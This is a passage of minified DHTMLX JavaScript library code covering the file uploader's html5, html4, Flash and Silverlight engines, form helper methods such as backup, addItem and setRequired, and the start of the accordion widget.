a=this._uploaded_count;this.buttons.upload.style.display=\"\";this.buttons.cancel.style.display=\"none\";this._uploaded_count=0;if(a>0){this.callEvent(\"onUploadComplete\",[a])}}};this._uploadStart=function(){this._switchButton(true);if(!this._uploading){for(var e in this._files){if(this._files[e].state==\"fail\"){this._files[e].state=\"added\";this._updateFileInList(e,\"added\",0)}}}this._uploading=true;var x=false;for(var e in this._files){if(!x&&[this._files[e].state]==\"added\"){x=true;this._files[e].state=\"uploading\";this._updateFileInList(e,\"uploading\",0);this._doUploadFile(e)}}if(!x){this._uploading=false;this._switchButton(false)}};this._onUploadSuccess=function(A,y,x,a){if(typeof(x)!=\"undefined\"&&this.engine==\"flash\"){var e=dhx4.s2j(x.data);if(e!=null&&e.state==true&&e.name!=null){y=e.name;if(e.extra!=null){a=e.extra}}else{this._onUploadFail(A,(e!=null&&e.extra!=null?e.extra:null));return}}this._uploaded_count++;this._data[A]={realName:this._files[A].name,serverName:y};this._files[A].state=\"uploaded\";this._updateFileInList(A,\"uploaded\",100);this.callEvent(\"onUploadFile\",[this._files[A].name,y,a]);if(this._autoRemove){this._removeFileFromQueue(A)}if(this._uploading){this._uploadStart()}};this._onUploadFail=function(e,a){this._files[e].state=\"fail\";this._updateFileInList(e,\"fail\",0);this.callEvent(\"onUploadFail\",[this._files[e].name,a]);if(this._uploading){this._uploadStart()}};this._onUploadAbort=function(a){this._uploading=false;this._files[a].state=\"added\";this._updateFileInList(a,\"added\",0);this.callEvent(\"onUploadCancel\",[this._files[a].name])};this._checkTitleScreen=function(){var x=0;for(var e in this._files){x++}if(x==0&&this.p.className.search(\"dhx_file_uploader_title\")<0&&this._titleScreen){this.p.className+=\" dhx_file_uploader_title\";this.buttons.info.innerHTML=this._titleText;this.buttons.info.style.width=Math.max(this.p_controls.offsetWidth-134,0)+\"px\"}if((x>0||!this._titleScreen)&&this.p.className.search(\"dhx_file_uploader_title\")>=0){this.p.className=this.p.className.replace(/dhx_file_uploader_title/g,\"\");this.buttons.info.innerHTML=\"\"}};this.callEvent=function(){};this.upload=function(){if(!this._uploading){this._uploadStart()}};this.setAutoStart=function(a){this._autoStart=(a==true)};this.setAutoRemove=function(a){this._autoRemove=(a==true)};this.enableTitleScreen=function(a){this._titleScreen=(a==true);this._checkTitleScreen()};this.setTitleText=function(a){this._titleText=a;if(this.p.className.search(\"dhx_file_uploader_title\")>=0){this.buttons.info.innerHTML=this._titleText}};this.setURL=function(a){this._url=a};this.setSWFURL=function(a){this._swf_upolad_url=a};this.enable=function(){this._enabled=true;this.p_files.className=\"dhx_upload_files\";this.p_controls.className=\"dhx_upload_controls\"};this.disable=function(){this._enabled=false;this.p_files.className=\"dhx_upload_files dhx_uploader_dis\";this.p_controls.className=\"dhx_upload_controls dhx_uploader_dis\"};this.getStatus=function(){var x=0;for(var e in this._files){if(this._files[e].state!=\"uploaded\"){return -1}x=1}return x};this.getData=function(){return this._data};this.clear=function(){if(this.callEvent(\"onBeforeClear\",[])!==true){return}if(this._uploading){q._uploadStop()}q._switchButton(false);q._removeFilesByState(true);this.callEvent(\"onClear\",[])};this.unload=function(){this._removeFilesByState(true);this._data=null;this._files=null;this._items=null;this._unloadEngine();for(var e in this.buttons){this.buttons[e].onclick=null;this.buttons[e].parentNode.removeChild(this.buttons[e]);this.buttons[e]=null;delete this.buttons[e]}this.buttons=null;for(var e in this.b_opts){this.b_opts[e].onclick=null;this.b_opts[e]=null;delete this.b_opts[e]}this.b_opts=null;this.p_controls.parentNode.removeChild(this.p_controls);this.p_files.parentNode.removeChild(this.p_files);this.p.className=this.p.className.replace(/dhx_file_uploader_title/gi,\"\").replace(/dhx_file_uploader/gi,\"\");for(var e in this){this[e]=null}q=e=null};var r=new this[this.engine]();for(var u in r){this[u]=r[u];r[u]=null}u=r=c=null;this._initToolbar();this._initEngine();this._checkTitleScreen();return this}dhtmlXFileUploader.prototype.html5=function(){};dhtmlXFileUploader.prototype.html5.prototype={_initEngine:function(){var c=this;this.buttons.browse.onclick=function(){if(c._enabled){c.f.click()}};this._progress_type=\"percentage\";var a=window.navigator.userAgent;if(a.match(/Windows/gi)!=null&&a.match(/AppleWebKit/gi)!=null&&a.match(/Safari/gi)!=null){if(a.match(/Version\\/5\\.1\\.5/gi)){this._upload_mp=false}if(a.match(/Version\\/5\\.1[^\\.\\d{1,}]/gi)){this._upload_dnd=false}if(a.match(/Version\\/5\\.1\\.1/gi)){this._upload_mp=false;this._upload_dnd=false}if(a.match(/Version\\/5\\.1\\.2/gi)){this._upload_dnd=false}if(a.match(/Version\\/5\\.1\\.7/gi)){this._upload_mp=false}}this._addFileInput();if(this._upload_dnd){this.p.ondragenter=function(g){if(!g.dataTransfer){return}g.stopPropagation();g.preventDefault()};this.p.ondragover=function(g){if(!g.dataTransfer){return}g.stopPropagation();g.preventDefault()};this.p.ondrop=function(g){if(!g.dataTransfer){return}g.stopPropagation();g.preventDefault();if(c._enabled){c._parseFilesInInput(g.dataTransfer.files)}};this._titleText=\"Drag-n-Drop files here or<br>click to select files for upload.\"}else{this._titleText=\"Click to select files for upload.\"}},_addFileInput:function(){if(this.f!=null){this.f.onchange=null;this.f.parentNode.removeChild(this.f);this.f=null}var a=this;this.f=document.createElement(\"INPUT\");this.f.type=\"file\";if(this._upload_mp){this.f.multiple=\"1\"}this.f.className=\"dhx_uploader_input\";this.p_controls.appendChild(this.f);this.f.onchange=function(){a._parseFilesInInput(this.files);if(window.dhx4.isOpera){a._addFileInput()}else{this.value=\"\"}}},_doUploadFile:function(e){var c=this;if(!this._loader){this._loader=new XMLHttpRequest();this._loader.upload.onprogress=function(g){if(c._files[this._idd].state==\"uploading\"){c._updateFileInList(this._idd,\"uploading\",Math.round(g.loaded*100/g.total))}};this._loader.onload=function(h){var g=dhx4.s2j(this.responseText);if(typeof(g)==\"object\"&&g!=null&&typeof(g.state)!=\"undefined\"&&g.state==true){c._onUploadSuccess(this.upload._idd,g.name,null,g.extra);g=null}else{c._onUploadFail(this.upload._idd,(g!=null&&g.extra!=null?g.extra:null))}};this._loader.onerror=function(g){c._onUploadFail(this.upload._idd)};this._loader.onabort=function(g){c._onUploadAbort(this.upload._idd)}}this._loader.upload._idd=e;var a=new FormData();a.append(\"file\",this._files[e].file);this._loader.open(\"POST\",this._url+(String(this._url).indexOf(\"?\")<0?\"?\":\"&\")+\"mode=html5&dhxr\"+new Date().getTime(),true);this._loader.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\");this._loader.send(a)},_uploadStop:function(){if(!this._uploading||!this._loader){return}this._loader.abort()},_parseFilesInInput:function(c){for(var a=0;a<c.length;a++){this._addFileToQueue(c[a])}},_addFileToQueue:function(a){if(!this._beforeAddFileToList(a.name,a.size)){return}var c=(a._idd||window.dhx4.newId());this._files[c]={file:a,name:a.name,size:a.size,state:\"added\"};this._addFileToList(c,a.name,a.size,\"added\",0);if(this._autoStart&&!this._uploading){this._uploadStart(true)}},_removeFileFromQueue:function(g){if(!this._files[g]){return}var c=this._files[g].name;var e=(this._data!=null&&this._data[g]!=null?this._data[g].serverName:null);if(this.callEvent(\"onBeforeFileRemove\",[c,e])!==true){return}var a=false;if(this._uploading&&g==this._loader.upload._idd&&this._files[g].state==\"uploading\"){this._uploadStop();a=true}this._files[g].file=null;this._files[g].name=null;this._files[g].size=null;this._files[g].state=null;this._files[g]=null;delete this._files[g];this._removeFileFromList(g);this.callEvent(\"onFileRemove\",[c,e]);if(a){this._uploadStart()}},_unloadEngine:function(){this.buttons.browse.onclick=null;this.f.onchange=null;this.f.parentNode.removeChild(this.f);this.f=null;this.p.ondragenter=null;this.p.ondragover=null;this.p.ondrop=null;if(this._loader){this._loader.upload.onprogress=null;this._loader.onload=null;this._loader.onerror=null;this._loader.onabort=null;this._loader.upload._idd=null;this._loader=null}this._initEngine=null;this._doUploadFile=null;this._uploadStop=null;this._parseFilesInInput=null;this._addFileToQueue=null;this._removeFileFromQueue=null;this._unloadEngine=null}};dhtmlXFileUploader.prototype.html4=function(){};dhtmlXFileUploader.prototype.html4.prototype={_initEngine:function(){this._addForm();this._progress_type=\"loader\";this._titleText=\"Click button<br>to select files for upload.\"},_addForm:function(){var a=this;var e=window.dhx4.newId();if(!this.k){this.k=document.createElement(\"DIV\");this.k.className=\"dhx_file_form_cont\";this.buttons.browse.appendChild(this.k);this.fr_name=\"dhx_file_\"+window.dhx4.newId();this.k.innerHTML='<iframe name=\"'+this.fr_name+'\" style=\"height:0px;width:0px;\" frameBorder=\"0\"></iframe>';this.fr=this.k.firstChild;if(window.navigator.userAgent.indexOf(\"MSIE\")>=0){this.fr.onreadystatechange=function(){if(this.readyState==\"complete\"){a._onLoad()}}}else{this.fr.onload=function(){a._onLoad()}}}var c=document.createElement(\"DIV\");c.innerHTML=\"<form method='POST' enctype='multipart/form-data' target='\"+this.fr_name+\"' class='dhx_file_form' name='dhx_file_form_\"+window.dhx4.newId()+\"'><input type='hidden' name='mode' value='html4'><input type='hidden' name='uid' value='\"+e+\"'><input type='file' name='file' class='dhx_file_input'></form>\";this.k.appendChild(c);c.firstChild.lastChild._idd=e;c.firstChild.lastChild.onchange=function(){if(!a._beforeAddFileToList(this.value,null)){return}a._addFileToQueue(this);this.onchange=null;this.parentNode.parentNode.style.display=\"none\";a._addForm()};c=null},_onLoad:function(){if(this._uploading){var a=dhx4.s2j(this.fr.contentWindow.document.body.innerHTML);if(typeof(a)==\"object\"&&a!=null){if(typeof(a.state)!=\"undefined\"){if(a.state==\"cancelled\"){this._onUploadAbort(this.fr._idd);a=null;return}else{if(a.state==true){if(typeof(a.size)!=\"undefined\"&&!isNaN(a.size)){this._files[this.fr._idd].size=a.size}this._onUploadSuccess(this.fr._idd,a.name,null,a.extra);a=null;return}}}}this._onUploadFail(this.fr._idd,(a!=null&&a.extra!=null?a.extra:null))}},_addFileToQueue:function(c){var a=c.value.match(/[^\\\\\\/]*$/g);if(a[0]!=null){a=a[0]}else{a=c.value}this._files[c._idd]={name:a,form:c.parentNode,node:c.parentNode.parentNode,input:c,state:\"added\"};this._addFileToList(c._idd,c.value,false,\"added\",0);if(this._autoStart&&!this._uploading){this._uploadStart(true)}},_removeFileFromQueue:function(e){var a=this._files[e].name;var c=(this._data!=null&&this._data[e]!=null?this._data[e].serverName:null);if(this.callEvent(\"onBeforeFileRemove\",[a,c])!==true){return}this._files[e].input.onchange=null;this._files[e].form.removeChild(this._files[e].input);this._files[e].node.removeChild(this._files[e].form);this._files[e].node.parentNode.removeChild(this._files[e].node);this._files[e].input=null;this._files[e].name=null;this._files[e].form=null;this._files[e].node=null;this._files[e].size=null;this._files[e].state=null;this._files[e]=null;delete this._files[e];this._removeFileFromList(e);this.callEvent(\"onFileRemove\",[a,c])},_doUploadFile:function(a){this.fr._idd=a;this._files[a].form.action=this._url;this._files[a].form.submit()},_uploadStop:function(){if(!this._uploading){return}this.fr.contentWindow.location.href=(this._url)+(this._url.indexOf(\"?\")<0?\"?\":\"&\")+\"mode=html4&action=cancel&dhxr\"+new Date().getTime()},_unloadEngine:function(){if(this.k){this.fr_name=null;this.fr.onreadystatechange=null;this.fr.onload=null;this.fr.parentNode.removeChild(this.fr);this.fr=null;this.k.firstChild.firstChild.lastChild.onchange=null;this.k.parentNode.removeChild(this.k);this.k=null}this._initEngine=null;this._addForm=null;this._onLoad=null;this._addFileToQueue=null;this._removeFileFromQueue=null;this._doUploadFile=null;this._uploadStop=null;this._unloadEngine=null}};dhtmlXFileUploader.prototype.flash=function(){};dhtmlXFileUploader.prototype.flash.prototype={_initEngine:function(){if(!window.dhtmlXFileUploaderSWFObjects){window.dhtmlXFileUploaderSWFObjects={items:{},callEvent:function(h,e,g){return window.dhtmlXFileUploaderSWFObjects.items[h].uploader[e].apply(window.dhtmlXFileUploaderSWFObjects.items[h].uploader,g)}}}var c=this;this._swf_obj_id=\"dhtmlXFileUploaderSWFObject_\"+window.dhx4.newId();this._swf_file_url=this._swf_file_url+(this._swf_file_url.indexOf(\"?\")>=0?\"&\":\"?\")+\"dhxr\"+new Date().getTime();this.buttons.browse.innerHTML=\"<div id='\"+this._swf_obj_id+\"' style='width:100%;height:100%;'></div>\";swfobject.embedSWF(this._swf_file_url,this._swf_obj_id,\"100%\",\"100%\",\"9\",null,{ID:this._swf_obj_id,enableLogs:this._swf_logs},{wmode:\"transparent\"});var a=swfobject.getFlashPlayerVersion();this._titleText=\"Engine successfuly inited<br>Flash Player: \"+a.major+\".\"+a.minor+\".\"+a.release;this._progress_type=\"percentage\";window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id]={id:this._swf_obj_id,uploader:this}},_beforeAddFileToQueue:function(a,c){return(this.callEvent(\"onBeforeFileAdd\",[a,c])===true)},_addFileToQueue:function(g,c,e){if(window.dhx4.isIE){var a=document.createElement(\"INPUT\");a.type=\"TEXT\";a.style.position=\"absolute\";a.style.left=\"0px\";a.style.top=window.dhx4.absTop(this.buttons.browse)+\"px\";a.style.width=\"10px\";document.body.appendChild(a);a.focus();document.body.removeChild(a);a=null}this._files[g]={name:c,size:e,state:\"added\"};this._addFileToList(g,c,e,\"added\",0);if(this._autoStart&&!this._uploading){this._uploadStart(true)}},_removeFileFromQueue:function(g){if(!this._files[g]){return}var c=this._files[g].name;var e=(this._data!=null&&this._data[g]!=null?this._data[g].serverName:null);if(this.callEvent(\"onBeforeFileRemove\",[c,e])!==true){return}var a=false;if(this._uploading&&this._files[g].state==\"uploading\"){this._uploadStop();a=true}swfobject.getObjectById(this._swf_obj_id).removeFileById(g);this._files[g].name=null;this._files[g].size=null;this._files[g].state=null;this._files[g]=null;delete this._files[g];this._removeFileFromList(g);this.callEvent(\"onFileRemove\",[c,e]);if(a){this._uploadStart()}},_doUploadFile:function(a){swfobject.getObjectById(this._swf_obj_id).upload(a,this._swf_upolad_url)},_uploadStop:function(e){for(var c in this._files){if(this._files[c].state==\"uploading\"){swfobject.getObjectById(this._swf_obj_id).uploadStop(c)}}},_unloadEngine:function(){if(window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id]){window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id].id=null;window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id].uploader=null;window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id]=null;delete window.dhtmlXFileUploaderSWFObjects.items[this._swf_obj_id]}this._swf_obj_id=null;this._initEngine=null;this._addFileToQueue=null;this._removeFileFromQueue=null;this._doUploadFile=null;this._uploadStop=null;this._unloadEngine=null}};dhtmlXFileUploader.prototype.sl=function(){};dhtmlXFileUploader.prototype.sl.prototype={_initEngine:function(){if(typeof(this._sl_v)==\"undefined\"){this._sl_v=this.getSLVersion()}if(!window.dhtmlXFileUploaderSLObjects){window.dhtmlXFileUploaderSLObjects={items:{},callEvent:function(e,a,c){window.dhtmlXFileUploaderSLObjects.items[e].uploader[a].apply(window.dhtmlXFileUploaderSLObjects.items[e].uploader,c)}}}this._sl_obj_id=\"dhtmlXFileUploaderSLObject_\"+window.dhx4.newId();if(this._sl_v!=false){this._titleText=\"Engine successfuly inited<br>Silverlight version: \"+this._sl_v[0]+\".\"+this._sl_v[1];this.buttons.browse.innerHTML='<div style=\"width:100%;height:100%;\"><object data=\"data:application/x-silverlight-2,\" type=\"application/x-silverlight-2\" width=\"100%\" height=\"100%\" id=\"'+this._sl_obj_id+'\"><param name=\"source\" value=\"'+this._sl_xap+'\"/><param name=\"background\" value=\"Transparent\"/><param name=\"windowless\" value=\"true\"/><param name=\"initParams\" value=\"SLID='+this._sl_obj_id+\",LOGS=\"+this._sl_logs+'\"/><param name=\"minRuntimeVersion\" value=\"5.0\"/></object></div>'}else{this._titleText=\"Silverlight plugin not found<br>or version less than 4.0\";this.buttons.browse.style.cursor=\"wait\";this.buttons.browse.title=\"\"}this._progress_type=\"percentage\";window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id]={id:this._sl_obj_id,uploader:this}},_addFileToQueue:function(e,a,c){this._files[e]={name:a,size:c,state:\"added\"};this._addFileToList(e,a,c,\"added\",0);if(this._autoStart&&!this._uploading){this._uploadStart(true)}},_removeFileFromQueue:function(c){if(!this._files[c]){return}var a=false;if(this._uploading&&this._files[c].state==\"uploading\"){this._uploadStop();a=true}document.getElementById([this._sl_obj_id]).Content.a.removeFileById(c);this._files[c].name=null;this._files[c].size=null;this._files[c].state=null;this._files[c]=null;delete this._files[c];this._removeFileFromList(c);if(a){this._uploadStart()}},_doUploadFile:function(c){var a=this._sl_upload_url.split(\"?\");a=(a[1]!=null?\"&\"+a[1]:\"\");document.getElementById(this._sl_obj_id).Content.a.upload(c,this._sl_upload_url,a+\"&mode=sl&dhxr\"+new Date().getTime())},_uploadStop:function(e){this._uploading=false;for(var c in this._files){if(this._files[c].state==\"uploading\"){document.getElementById(this._sl_obj_id).Content.a.uploadStop(c)}}},_unloadEngine:function(){if(window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id]){window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id].id=null;window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id].uploader=null;window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id]=null;delete window.dhtmlXFileUploaderSLObjects.items[this._sl_obj_id]}this._sl_obj_id=null;this._initEngine=null;this._addFileToQueue=null;this._removeFileFromQueue=null;this._doUploadFile=null;this._uploadStop=null;this._unloadEngine=null}};dhtmlXFileUploader.prototype.setSLURL=function(a){this._sl_upload_url=a};dhtmlXFileUploader.prototype.getSLVersion=function(){var a=false;if(window.dhx4.isIE){try{var c=new ActiveXObject(\"AgControl.AgControl\");if(c!=null){var l=4,h=0;while(c.isVersionSupported([l,h].join(\".\"))){a=[l,h];if(++h>9){l++;h=0}}}c=null}catch(g){}}else{if(navigator.plugins[\"Silverlight Plug-In\"]!=null){a=navigator.plugins[\"Silverlight Plug-In\"].description.split(\".\")}}return a};dhtmlXForm.prototype.saveBackup=function(){if(!this._backup){this._backup={};this._backupId=new Date().getTime()}this._backup[++this._backupId]=this.getFormData();return this._backupId};dhtmlXForm.prototype.restoreBackup=function(a){if(this._backup!=null&&this._backup[a]!=null){this.setFormData(this._backup[a])}};dhtmlXForm.prototype.clearBackup=function(a){if(this._backup!=null&&this._backup[a]!=null){this._backup[a]=null;delete this._backup[a]}};dhtmlXForm.prototype.addItem=function(e,a,l,g){var c=null;if(e instanceof Array){c=e[1];e=e[0]}var h=null;if(e!=null){var h=this._getParentForm(e,c);if(h!=null){if(h.item._list==null){if(!a.listParent){a.listParent=h.item._idd}h.form._addItem(\"list\",h.item._idd,[a],null,h.item._idd,l,g)}else{h.item._list[0].addItem(null,a,l,g)}h.form=h.item=null;h=null;this._autoCheck();return}}this._prepareItem(a,l,g);this._autoCheck()};dhtmlXForm.prototype.removeItem=function(c,a){this._removeItem(c,a)};dhtmlXForm.prototype.removeColumn=function(m,l,g,e){var o=null;if(m instanceof Array){o=m[1];m=m[0]}if(m!=null){var h=this._getParentForm(m,o);if(h!=null){if(h.item._list!=null&&h.item._list[0]!=null){h.item._list[0].removeColumn(null,l,g,e)}h.form=h.item=null;h=null}return}l=Math.min(Math.max(l,0),this.cont.childNodes.length-1);if(this.cont.childNodes.length==1){if(g==true){this._removeItemsInColumn(this.cont.childNodes[l])}}else{if(g==true){this._removeItemsInColumn(this.cont.childNodes[l])}else{if(!e){var a=l-1;if(a<0){a=l+1}}else{var a=l+1;if(a>this.cont.childNodes.length-1){a=l-1}}while(this.cont.childNodes[l].childNodes.length>0){this.cont.childNodes[a].appendChild(this.cont.childNodes[l].childNodes[0])}}var n=[];for(var c=0;c<this.base.length;c++){if(this.cont.childNodes[l]!=this.base[c]){n.push(this.base[c])}}this.base=n;this.cont.removeChild(this.cont.childNodes[l]);this.b_index--;n=null}};dhtmlXForm.prototype.getColumnNode=function(e,c){var g=null;var a=null;if(e instanceof Array){a=e[1];e=e[0]}if(e!=null){var h=this._getParentForm(e,a);if(h!=null){if(h.item._list!=null&&h.item._list[0]!=null&&g==null){g=h.item._list[0].getColumnNode(null,c)}h.form=h.item=null;h=null}return g}if(c<0||c>this.cont.childNodes.length-1){return null}return this.cont.childNodes[c]};dhtmlXForm.prototype._removeItemsInColumn=function(g){var a=[];for(var e=0;e<g.childNodes.length;e++){var c=g.childNodes[e];if(c._idd!=null&&c._type!=null){a.push([c._idd,(c._type==\"ra\"?c._value:null)])}c=null}for(var e=0;e<a.length;e++){this.removeItem(a[e][0],a[e][1])}};dhtmlXForm.prototype._getParentForm=function(l,h){if(this.itemPull[this.idPrefix+l]!=null){return{form:this,item:this.itemPull[this.idPrefix+l]}}for(var c in this.itemPull){if(this.itemPull[c]._type==\"ra\"&&this.itemPull[c]._group==l&&this.itemPull[c]._value==h){return{form:this,item:this.itemPull[c]}}}var g=null;for(var c in this.itemPull){if(!g&&this.itemPull[c]._list!=null){for(var e=0;e<this.itemPull[c]._list.length;e++){if(!g){g=this.itemPull[c]._list[e]._getParentForm(l,h)}}}}return g};(function(){for(var c in dhtmlXForm.prototype.items){if(!dhtmlXForm.prototype.items[c]._getItemNode){dhtmlXForm.prototype.items[c]._getItemNode=function(a){return a}}}})();dhtmlXForm.prototype._getItemNode=function(c,a){if(a!=null){c=[c,a]}return this.doWithItem(c,\"_getItemNode\")};dhtmlXForm.prototype.setRequired=function(n,l,h){if(typeof(h)==\"undefined\"){h=l}else{n=[n,l]}var e=this._getItemNode(n);if(!e){return}h=window.dhx4.s2b(h);e._required=(h==true);if(e._required){if(!e._validate){e._validate=[]}var c=false;for(var g=0;g<e._validate.length;g++){c=(e._validate[g]==\"NotEmpty\"||c)}if(!c){e._validate.push(\"NotEmpty\")}var m=e.childNodes[e._ll?0:1].childNodes[0];if(!(m.lastChild&&m.lastChild.className&&m.lastChild.className.search(/required/)>=0)){var a=document.createElement(\"SPAN\");a.className=\"dhxform_item_required\";a.innerHTML=\"*\";m.appendChild(a);a=m=null}}else{if(e._validate!=null){var c=e._validate;e._validate=[];for(var g=0;g<c.length;g++){if(c[g]!=\"NotEmpty\"){e._validate.push(c[g])}}if(e._validate.length==0){e._validate=null}}var m=e.childNodes[e._ll?0:1].childNodes[0];if(m.lastChild&&m.lastChild.className&&m.lastChild.className.search(/required/)>=0){m.removeChild(m.lastChild);m=null}}this._resetValidateCss(e);e=null};dhtmlXForm.prototype.setNote=function(h,e,a){if(typeof(a)==\"undefined\"){a=e}else{h=[h,e]}var c=this._getItemNode(h);if(!c){return}var g=this._getNoteNode(c);if(!g){if(!a.width){a.width=c.childNodes[c._ll?1:0].childNodes[0].offsetWidth}g=document.createElement(\"DIV\");g.className=\"dhxform_note\";if({ch:1,ra:1}[c._type]){c.childNodes[c._ll?1:0].insertBefore(g,c.childNodes[c._ll?1:0].lastChild)}else{c.childNodes[c._ll?1:0].appendChild(g)}}g.innerHTML=a.text;if(a.width!=null){g.style.width=a.width+\"px\";g._w=a.width}g=null};dhtmlXForm.prototype.clearNote=function(g,c){if(typeof(c)!=\"undefined\"){g=[g,c]}var a=this._getItemNode(g);if(!a){return}var e=this._getNoteNode(a);if(e!=null){e.parentNode.removeChild(e);e=null}};dhtmlXForm.prototype._getNoteNode=function(a){var e=null;for(var c=0;c<a.childNodes[a._ll?1:0].childNodes.length;c++){if(String(a.childNodes[a._ll?1:0].childNodes[c].className).search(/dhxform_note/)>=0){e=a.childNodes[a._ll?1:0].childNodes[c]}}a=null;return e};dhtmlXForm.prototype.setValidation=function(l,g,h){if(typeof(note)==\"undefined\"){h=g}else{l=[l,g]}var c=this._getItemNode(l);if(!c){return}if(c._validate!=null){for(var e=0;e<c._validate.length;e++){c._validate[e]=null}}c._validate=[];if(typeof(h)==\"function\"||typeof(window[h])==\"function\"){c._validate=[h]}else{c._validate=String(h).split(this.separator)}if(c._required){var a=false;for(var e=0;e<c._validate.length;e++){a=(c._validate[e]==\"NotEmpty\"||a)}if(!a){c._validate.push(\"NotEmpty\")}}c=null};dhtmlXForm.prototype.clearValidation=function(g,e){if(typeof(e)!=\"undefined\"){g=[g,e]}var a=this._getItemNode(g);if(!a){return}if(a._validate!=null){for(var c=0;c<a._validate.length;c++){a._validate[c]=null}}a._validate=a._required?[\"NotEmpty\"]:null;a=null};dhtmlXForm.prototype.reloadOptions=function(a,l){var c=this.getItemType(a);if(!{select:1,multiselect:1,combo:1}[c]){return}if(c==\"select\"||c==\"multiselect\"){var g=this.getOptions(a);while(g.length>0){g.remove(0)}g.length=0;g=null;if(typeof(l)==\"string\"){this.doWithItem(a,\"doLoadOptsConnector\",l)}else{if(l instanceof Array){this.doWithItem(a,\"doLoadOpts\",{options:l})}}}if(c==\"combo\"){var m=this.getCombo(a);m.clearAll();m.setComboValue(\"\");if(typeof(l)==\"string\"){this.doWithItem(a,\"doLoadOptsConnector\",l)}else{if(l instanceof Array){var e=null;for(var h=0;h<l.length;h++){if(window.dhx4.s2b(l[h].selected)){e=l[h].value}}m.addOption(l);if(e!=null){this.setItemValue(a,e)}m=null}}}};dhtmlXForm.prototype.setTooltip=function(l,h,g){if(typeof(g)==\"undefined\"){g=h}else{l=[l,h]}var c=this._getItemNode(l);if(!c){return}var a=null;if(c.childNodes.length==1){a=c.childNodes[0]}else{for(var e=0;e<c.childNodes.length;e++){if(c.childNodes[e].className!=null&&c.childNodes[e].className.search(\"dhxform_label\")>=0){a=c.childNodes[e]}}}if(a!=null){if(g==null||g.length==0){a.removeAttribute(\"title\")}else{a.title=g}}a=null};function dhtmlXAccordion(h,m){var g=this;var e=window.dhx4.transDetect();this.conf={skin:(m||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxacc\")||\"dhx_skyblue\"),css:\"dhxacc\",icons_path:\"\",multi_mode:false,last_opened:null,on_active_id:null,on_active_click:false,size_changed:true,def_height:90,total_count:0,hiden_count:0,cont_w:null};this.conf.tr={prop:e.transProp,ev:e.transEv,height_open:\"height 0.2s cubic-bezier(0.25,0.1,0.25,1)\",height_close:\"height 0.18s cubic-bezier(0.25,0.1,0.25,1)\",op_open:\"opacity 0.16s ease-in\",op_close:\"opacity 0.2s ease-out\",op_v_open:\"1\",op_v_close:\"0.4\",dnd_top:\"top 0.16s\"};this.ofs={m:{},s:{},def:{m:{left:0,right:0,first:0,between:8},s:{left:0,right:0,first:0,between:-1,last:0}},base:{s:{},m:{}},skin:{dhx_web:{s:{between:3},m:{between:3}},dhx_terrace:{m:{between:12,left:0,right:0}}}};if(navigator.userAgent.indexOf(\"MSIE\")>=0||navigator.userAgent.indexOf(\"Trident\")>=0){this.conf.tr.height_open=this.conf.tr.height_close}else{this.conf.tr.height_open=this.conf.tr.height_close}var l=null;if(typeof(h)==\"object\"&&!h.tagName){l={};for(var c in h){l[c]=h[c];h[c]=null}h=l.parent;l.parent=null}window.dhtmlXCellTop.apply(this,[h,h._ofs]);this._adjustCont();if(this.base._ofs!=null){for(var n in this.ofs.base){if(this.base._ofs[n]!=null){for(var c in this.base._ofs[n]){this.ofs.base[n][c]=this.base._ofs[n][c]}}}}this._applyOffsets=function(){for(var u in this.ofs.def){var r=this.ofs.def[u];var s=(this.ofs.skin[this.conf.skin]!=null&&this.ofs.skin[this.conf.skin][u]!=null?this.ofs.skin[this.conf.skin][u]:null);var q=(this.base._ofs!=null?this.base._ofs[u]:null);for(var o in r){if(s!=null&&s[o]!=null){this.ofs[u][o]=s[o]}else{if(q!=null&&q[o]!=null){this.ofs[u][o]=q[o]}else{this.ofs[u][o]=r[o]}}}}};this._applyOffsets();this.t={};this.addItem=function(w,v,q,o,u){if(w==null){w=\"a\"+window.dhx4.newId()}while(this.t[w]!=null){w=\"a\"+window.dhx4.newId()}var a=new dhtmlXAccordionCell(w,this);a.conf.skin=this.conf.skin;a.setText(v);if(u!=null){a.setIcon(u)}a.cell._accId=w;a.cell.childNodes[a.conf.idx.hdr].onselectstart=function(x){x=x||event;if(x.preventDefault){x.preventDefault()}else{x.returnValue=false}return false};a.cell.childNodes[a.conf.idx.hdr].onclick=function(y){y=y||event;if(y.preventDefault){y.preventDefault()}else{y.returnValue=false}if(g._dnd!=null&&g._dnd.ofs==true){return}var x=(y.target||y.srcElement);var A=null;while(x._accId!=this&&A==null){if(x._accId!=null){A=x._accId}else{x=x.parentNode}}if(A!=null){g._hdrClick(A)}};this.t[w]={cell:a};this.conf.total_count++;if(this.conf.multi_mode){if(typeof(q)==\"undefined\"){q=true}this.cont.appendChild(a.cell);a.conf.opened=(q==true);if(typeof(o)==\"undefined\"||o==null||o==\"*\"){if(o==\"*\"){a.conf.h_auto=true}o=this.conf.def_height}else{o=Math.max(parseInt(o),30)}a._setSize(this.ofs.m.left,0,this.conf.cont_w||this._getAvailItemWidth(),a.conf.opened?o:a._getHdrHeight());a.cell.style.marginTop=(a.cell==this.cont.firstChild?this.ofs.m.first:this.ofs.m.between)+\"px\";if(q!=true){a.conf.size.h=o;a._adjustCell();a.cell.className+=\" dhx_cell_closed\"}this._adjustOpened();if(this._dnd!=null){this._dndAttachEvent(w)}}else{q=(this.conf.last_opened==null?true:window.dhx4.s2b(q));var s=this._updateCellsHeight();if(this.conf.last_opened!=null){if(q){this._closeItem(this.conf.last_opened,false)}else{var r=this.t[this.conf.last_opened].cell;r._setSize(r.conf.size.x,r.conf.size.y,r.conf.size.w,s);r=null}}this.cont.appendChild(a.cell);a.conf.opened=q;a.cell.style.marginTop=String(a.cell==this.cont.firstChild?this.ofs.s.first:this.ofs.s.between)+\"px\";a._setSize(this.ofs.s.left,0,this.conf.cont_w||this._getAvailItemWidth(),q?s:a._getHdrHeight());if(q){this.conf.last_opened=w}else{a.conf.size.h=s;a._adjustCell();a.cell.className+=\" dhx_cell_closed\"}}a=null;return 